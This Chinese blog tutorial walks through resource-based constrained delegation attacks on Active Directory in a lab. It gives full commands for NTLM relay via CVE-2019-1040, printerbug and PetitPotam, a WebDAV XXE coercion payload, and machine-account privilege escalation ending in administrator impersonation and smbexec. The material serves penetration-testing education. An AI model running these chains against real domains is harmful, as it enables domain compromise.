查看原文
其他

委派攻击知识点全收录!利用委派的姿势能有多花哨? | 技术精选 0121

Lee 酒仙桥六号部队 2022-11-25

本文约7000字,阅读约需10分钟。


Kerberos的委派主要分为非约束委派、约束委派、基于资源的约束委派,但在实际操作中,非约束委派和约束委派是很难进行利用的,因此本文主要是探讨基于资源的约束委派的几种利用方式。
1
基本概念
基于资源的约束委派只能在运行WindowsServer 2012 R2和Windows Server2012及以上的域控制器上配置,但可以在混合模式林中应用。
基于资源的约束委派与传统约束委派非常相似,服务A到服务B的约束委派在服务A账户的msDS-AllowedToDelegateTo属性中配置,定义从服务A到服务B的"传出"信任。
而基于资源的约束委派是在服务B的msDS-AllowedToActOnBehalfOfOtherIdentity属性中配置,定义从服务A到服务B的"传入"信任。
所以,只要拥有服务B的权限,就可以配置服务B的基于资源的约束委派。
基于资源的约束委派请求过程与约束委派的请求过程也类似,主要是涉及到Servicefor User to Self (S4U2Self)和Service forUser to Proxy(S4U2proxy)这两个协议。
其中,S4U2Self可以代表自身请求,针对其自身的Kerberos服务票据;S4U2proxy可以以用户的名义请求其它服务的ST。其具体请求过程引用一张图进行理解:

2
中继攻击
了解了基本的认证过程后,想要使用基于资源的约束委派进行攻击,可以利用NTLM中继攻击。
但如果客户端和服务器进行协商会话签名,则域控制器上的LDAP服务将忽略所有未签名的消息,此时攻击者是无法对后续消息进行签名的,消息也就将被忽略。
若是想对NTLM中继中的协商签名的标志进行重置,此时就有另一个问题——NTLM身份验证是由3种消息类型组成:
"NTLM_NEGOTIATE、NTLM_CHALLENGE、NTLM_AUTHENTICATE"
Microsoft为了确保恶意行为者不在传输过程中修改消息,在NTLM_AUTHENTICATE消息中添加了一个额外的MIC(消息完整性代码)字段。
如果更改了一个NTLM消息,则MIC将无效,身份验证就会失败。但是并非所有客户端都支持MIC,因此也并非强制要求。
因此进行NTLM中继攻击的话,有几个方向可以尝试:
  • 通过不协商签名的客户端,例如所有Windows版本上的Web客户端,包括WebDAV客户端;
  • 在NTLM消息中不支持MIC的客户端,例如Windows XP/2003;
  • MIC校验存在缺陷。

环境如下:
主域:10.10.10.10(机器名:DC,域管:administrator);辅助域:10.10.10.20(机器名:DC2,域管:administrator);目标机:10.10.10.100(机器名:server,普通域用户:dav);受控机器:10.10.10.110(机器名:win7sp2,普通域用户:test2);攻击机KALI:10.10.10.180;

CVE-2019-1040:


该漏洞可以绕过NTLM中的MIC(消息完整性检查),修改已经过协商签名的身份验证流量。
因此,可以利用printerbug或者PetitPotam,将SMB身份验证中继到LDAP,再使用中继LDAP身份验证,将受害者服务器的基于资源的委派权限授予到攻击者控制下的计算机账户。
在有辅助域的内网中,利用此漏洞,就能直接获取到域控的权限。
Printerbug使得拥有控制域用户/计算机的攻击者可以指定域内的一台服务器,并使其对攻击者选择的目标进行身份验证,因此可以与CVE-2019-1040结合一起使用。
由于所有域用户向都可以在域中添加10个计算机帐户,因此在受控的win7上,使用test2的用户身份新建一个机器用户serviceA:
powershell-exec bypass "Import-ModuleC:\Users\test2\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceA -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

执行ntlmrelayx.py脚本,--delegate-access选项是将中继计算机帐户的访问权限委托给攻击者,--escalate-user参数设置serviceA资源委派,--remove-mic参数了是去除mic验证:
python3ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic--delegate-access --escalate-user serviceA\$ -debug

使用任意域账号(test2)SMB连接辅助域控制器,触发printerbug,使辅助域控制器用自己的用户身份回连攻击者主机:
python3printerbug.py de1ay.com/test2:test.123456@10.10.10.20 10.10.10.180

此时ntlmrelayx.py通过ldap将该用户账户中继到域控服务器(DC),并设置了serviceA$到DC2辅助域控制器的约束委派,可以在域控的powershell上验证是否成功:
import-moduleActiveDirectoryGet-ADComputerDC2 -Properties PrincipalsAllowedToDelegateToAccount

在KAli中修改/etc/resolv.conf,设置DNS服务器为主域控IP:10.10.10.10:

使用impaket中的getSP.py脚本,通过-impersonate参数模拟用户administrator请求其票据,再利用票据执行命令:
python3getST.py -spn cifs/DC2.de1ay.com de1ay/serviceA\$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass dc2.de1ay.com

windwos下还可使用Rubeus请求白银票据并导入到当前会话中:
先获取serviceA$用户的hash:
Rubeus.exehash /user:serviceA$ /password:123456 /domain:de1ay.com

请求DC2机器的cifs票据:
Rubeus.exes4u /user:serviceA$ /rc4:32ED87BDB5FDC5E9CBA88547376818D4 /domain:de1ay.com /impersonateuser:administrator/msdsspn:cifs/DC2.de1ay.com /ptt

直接访问DC2的文件:

利用PetitPotam,可以指定域内的一台服务器,并使其对攻击者选择的目标进行身份验证。
而且在低版本(08和12)的情况下,可以匿名触发,不需要域用户。在16版本以上,就需要指定一个普通域用户账号和密码了。
在受控的win7上,使用test2的用户身份新建一个机器用户serviceB:
powershell-exec bypass "Import-ModuleC:\Users\test2\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceB -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

执行ntlmrelayx.py脚本:
python3ntlmrelayx.py -t ldap://10.10.10.10 -smb2support --remove-mic--delegate-access --escalate-user serviceB\$ -debug
触发PetitPotam,使辅助域控制器用自己的用户身份回连攻击者主机:
python3PetitPotam.py 10.10.10.180 10.10.10.20

获取票据,并利用票据进行命令执行:
python3getST.py -spn cifs/DC2.de1ay.com de1ay/serviceB\$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass dc2.de1ay.com

WEBDAV:


若直接使用WebDAV客户端进行认证,是不需要进行协商签名的,因此,若能触发存在WebDAV的客户端向域控发起认证,也就能进行NTLM中继攻击。我们来看一个例子:
若Java应用服务启用了WebDAV,会存在/WebDAV目录,也就能使用其中的PROPFIND方法来触发XXE。而xxe的http请求由于sun.net.www.protocol.http.HttpURLConnection类在响应401时,会根据响应判断使用哪种认证模式。
若返回要求使用ntlm认证,我们就能获取到目标机器的ntlmhash认证请求,进而中继到域控ldap添加基于资源的约束委派。
首先判断web(10.10.10.100)支持哪一些http方法:

在受控的win7上,使用test2的用户身份新建一个机器用户serviceC:
powershell-exec bypass "Import-ModuleC:\Users\test2\Desktop\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceC -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

执行ntlmrelayx.py脚本:
python3ntlmrelayx.py -t ldap://10.10.10.10 --delegate-access--escalate-user serviceC\$ -debug

触发xxe之后,把凭据中继到域控上设置委派:
PROPFIND/webdav HTTP/1.1Host:10.10.10.100:8080User-Agent:Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101Firefox/68.0Content-Length:240Connection:close
<?xmlversion="1.0" encoding="UTF-8"?><!DOCTYPEpropertyupdate [<!ENTITYloot SYSTEM "http://10.10.10.180/"> ]><D:propertyupdatexmlns:D="DAV:"><D:set><D:prop><axmlns="http://x.com/">&loot;</a></D:prop></D:set></D:propertyupdate>

获取票据,并利用票据进行命令执行:
python3getST.py -spn cifs/server.de1ay.com de1ay/serviceC\$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass server.de1ay.com

3
提权
利用基于资源的约束委派(RBCD)进行提权的话,利用条件主要如下:
需要设置msDS-AllowedToActOnBehalfOfOtherIdentity属性,以及一个具有SPN的账户。
首先第一个条件:它并不是域管理员权限才能设置相关属性,一般情况下,将机器加入域的用户和机器账号本身都有权限修改自身的msDS-AllowedToActOnBehalfOfOtherIdentity属性的值。
而第二个条件:默认所有域用户可以向一个域添加10个计算机账户。因此,若是当前受控机器的域用户是将机器加入域的用户,也就都能满足这两个条件。
环境:
主域:10.10.10.10(机器名:DC,域管:administrator)受控机器:10.10.10.100(机器名:sqlserver,普通域用户:davtest)

域用户提权:


当我们拿到了某台主机的域用户权限,就可验证当前域用户对主机是否具有写权限,若当前域用户具有GenericAll、GenericWrite、WriteProperty、WriteDacl其中的一种权限,就可以修改账户属性进行RBCD。
查看当前的权限,是普通的域用户权限,但具有msDS-AllowedToActOnBehalfOfOtherIdentity属性的写权限:
powershell-exec bypass "Import-Module C:\tool\powerview.ps1;Get-DomainUserdavtest -Properties objectsid "
powershell-exec bypass "Import-ModuleC:\tool\powerview.ps1;Get-DomainObjectAcl -Identity sqlserver |?{$_.SecurityIdentifier -match'S-1-5-21-2756371121-2868759905-3853650604-1625'}"


添加机器账号serviceD:
powershell-exec bypass "Import-ModuleC:\tool\Powermad-master\Powermad-master\Powermad.ps1;New-MachineAccount-MachineAccount serviceD -Password $(ConvertTo-SecureString '123456'-AsPlainText -Force)"

查看serviceD的sid:
powershell-exec bypass "Import-ModuleC:\tool\powerview.ps1;Get-DomainComputer serviceD"

配置serviceD到sqlserver的基于资源约束的委派:
powershell-exec bypass "Import-Module C:\tool\powerview.ps1;$SD =New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-2756371121-2868759905-3853650604-1628)';$SDBytes= New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes,0);Get-DomainComputer sqlserver| Set-DomainObject -Set@{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"

获取票据,并利用票据进行命令执行:
python3getST.py -spn cifs/sqlserver.de1ay.com de1ay/serviceD\$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass sqlserver.de1ay.com

机器账号提权:


由于iisapppool\defaultapppool或是networkservice账户权限出网时都是以当前机器账户身份进行请求,因此可以利用RBCD进行提权。
可以直接使用:
"https://github.com/pkb1s/SharpAllowedToAct"
添加机器账号,并设置serviceE到sqlserver的基于资源约束的委派:
SharpAllowedToAct.exe-m serviceE -p 123456 -t sqlserver -a dc.de1ay.com -d de1ay.com


获取票据,并利用票据进行命令执行:
python3getST.py -spn cifs/sqlserver.de1ay.com de1ay/serviceF\$:123456 -dc-ip10.10.10.10 -impersonate administrator
exportKRB5CCNAME=administrator.ccache
python3smbexec.py -k -no-pass sqlserver.de1ay.com

4
总结
基于资源的约束委派(RBCD)攻击方式还有很多,但基本的思路都是添加机器账号、设置基于资源约束的委派、请求票据,其他利用姿势,我们以后继续探讨!



- END -

往期推荐

记一次卑微的渗透测试

pwn入门之栈入门

MYSQL另类利用方式

长按下方图片即可关注

点击下方阅读原文,加入社群,读者作者无障碍交流

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存